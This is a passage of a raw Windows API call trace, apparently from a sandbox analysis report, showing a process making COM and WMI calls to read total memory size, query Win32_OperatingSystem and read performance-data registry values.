pszText="\\\\.\\root\\cimv2") returned 0x0 [0292.076] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a07f30*=0, plFlavor=0x2a07f34*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2a07f30*=21, plFlavor=0x2a07f34*=0) returned 0x0 [0292.076] SysStringByteLen (bstr="2096620") returned 0xe [0292.076] SysStringByteLen (bstr="2096620") returned 0xe [0292.076] IWbemClassObject:Get (in: This=0x1b349b20, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a07f30*=21, plFlavor=0x2a07f34*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x2a07f30*=21, plFlavor=0x2a07f34*=0) returned 0x0 [0292.076] SysStringByteLen (bstr="2096620") returned 0xe [0292.076] SysStringByteLen (bstr="2096620") returned 0xe [0292.077] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0292.077] WbemLocator:IUnknown:Release (This=0x1b351048) returned 0x1 [0292.077] IUnknown:Release (This=0x1d35c780) returned 0x0 [0294.091] GetTickCount64 () returned 0xac03a7 [0294.092] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0294.092] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2941ad8, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2941ad8*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0294.094] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0294.094] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x2952ef0, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x2952ef0*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0294.096] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0294.096] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0294.097] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.097] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0294.097] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0294.097] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0294.097] IUnknown:Release (This=0x4b0108) returned 0x1 [0294.097] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d4971a0) returned 0x0 [0294.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0294.098] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d4971a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d4971c0) returned 0x0 [0294.098] WbemLocator:IUnknown:Release (This=0x1d4971a0) returned 0x0 [0294.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d4971c0) returned 0x0 [0294.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0294.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0294.098] WbemLocator:IUnknown:AddRef (This=0x1d4971c0) returned 0x3 [0294.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0294.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0294.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0294.098] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0294.098] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0294.098] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0294.098] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x2 [0294.098] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x1 [0294.098] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0294.099] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0294.099] WbemLocator:IUnknown:QueryInterface (in: This=0x1d4971c0, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d4971c0) returned 0x0 [0294.099] WbemLocator:IUnknown:AddRef (This=0x1d4971c0) returned 0x3 [0294.099] WbemLocator:IUnknown:Release (This=0x1d4971c0) returned 0x2 [0294.099] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0294.099] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0294.099] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.099] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d4971a0) returned 0x0 [0294.099] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d4971a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d474600) returned 0x0 [0294.125] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b352040) returned 0x0 [0294.125] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b352040, pProxy=0x1d474600, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0294.125] WbemLocator:IUnknown:Release (This=0x1b352040) returned 0x1 [0294.125] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b352088) returned 0x0 [0294.125] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b352040) returned 0x0 [0294.125] WbemLocator:IClientSecurity:SetBlanket (This=0x1b352040, pProxy=0x1d474600, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0294.125] WbemLocator:IUnknown:Release (This=0x1b352040) returned 0x2 [0294.125] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x1 [0294.126] CoTaskMemFree (pv=0x1d471770) [0294.126] WbemLocator:IUnknown:Release (This=0x1d4971a0) returned 0x0 [0294.126] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b352088) returned 0x0 [0294.126] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0294.126] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0294.127] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474600, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0294.127] WbemLocator:IUnknown:AddRef (This=0x1b352088) returned 0x3 [0294.127] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0294.127] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0294.127] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b351f68) returned 0x0 [0294.127] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351f68, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0294.127] WbemLocator:IUnknown:Release (This=0x1b351f68) returned 0x3 [0294.128] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0294.128] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0294.128] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b352050) returned 0x0 [0294.128] WbemLocator:IRpcOptions:Query (in: This=0x1b352050, pPrx=0x1b352088, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0294.128] WbemLocator:IUnknown:Release (This=0x1b352050) returned 0x3 [0294.128] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x2 [0294.128] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0294.128] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0294.128] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d474600) returned 0x0 [0294.128] WbemLocator:IUnknown:AddRef (This=0x1d474600) returned 0x4 [0294.128] WbemLocator:IUnknown:Release (This=0x1d474600) returned 0x3 [0294.128] WbemLocator:IUnknown:Release (This=0x1d474600) returned 0x2 [0294.128] SysStringLen (param_1=0x0) returned 0x0 [0294.128] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0294.128] WbemLocator:IUnknown:AddRef (This=0x1b352088) returned 0x3 [0294.128] WbemLocator:IUnknown:QueryInterface (in: This=0x1b352088, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b352088) returned 0x0 [0294.128] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x3 [0294.128] WbemLocator:IUnknown:Release (This=0x1b352088) returned 0x2 [0294.128] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0294.128] WbemLocator:IUnknown:AddRef (This=0x1d474600) returned 0x3 [0294.129] IWbemServices:ExecQuery (in: This=0x1d474600, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35bd00) returned 0x0 [0294.141] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35bd08) returned 0x0 [0294.141] IClientSecurity:QueryBlanket (in: This=0x1d35bd08, pProxy=0x1d35bd00, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0294.141] IUnknown:Release (This=0x1d35bd08) returned 0x1 [0294.141] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b350b68) returned 0x0 [0294.141] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35bd08) returned 0x0 [0294.141] IClientSecurity:SetBlanket (This=0x1d35bd08, pProxy=0x1d35bd00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0294.157] IUnknown:Release (This=0x1d35bd08) returned 0x2 [0294.157] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0294.157] CoTaskMemFree (pv=0x1d471e60) [0294.158] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b350b68) returned 0x0 [0294.158] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0294.158] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0294.159] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0294.159] WbemLocator:IUnknown:AddRef (This=0x1b350b68) returned 0x3 [0294.159] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0294.159] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0294.159] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b350a48) returned 0x0 [0294.159] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350a48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0294.160] WbemLocator:IUnknown:Release (This=0x1b350a48) returned 0x3 [0294.160] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0294.160] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0294.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b350b30) returned 0x0 [0294.160] WbemLocator:IRpcOptions:Query (in: This=0x1b350b30, pPrx=0x1b350b68, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0294.160] WbemLocator:IUnknown:Release (This=0x1b350b30) returned 0x3 [0294.160] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x2 [0294.160] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0294.160] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0294.160] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35bd00) returned 0x0 [0294.160] IUnknown:AddRef (This=0x1d35bd00) returned 0x4 [0294.160] IUnknown:Release (This=0x1d35bd00) returned 0x3 [0294.160] IUnknown:Release (This=0x1d35bd00) returned 0x2 [0294.160] WbemLocator:IUnknown:Release (This=0x1d474600) returned 0x2 [0294.160] SysStringLen (param_1=0x0) returned 0x0 [0294.160] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0294.160] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0294.160] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0294.160] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0294.160] IUnknown:AddRef (This=0x1d35bd00) returned 0x3 [0294.161] IEnumWbemClassObject:Clone (in: This=0x1d35bd00, 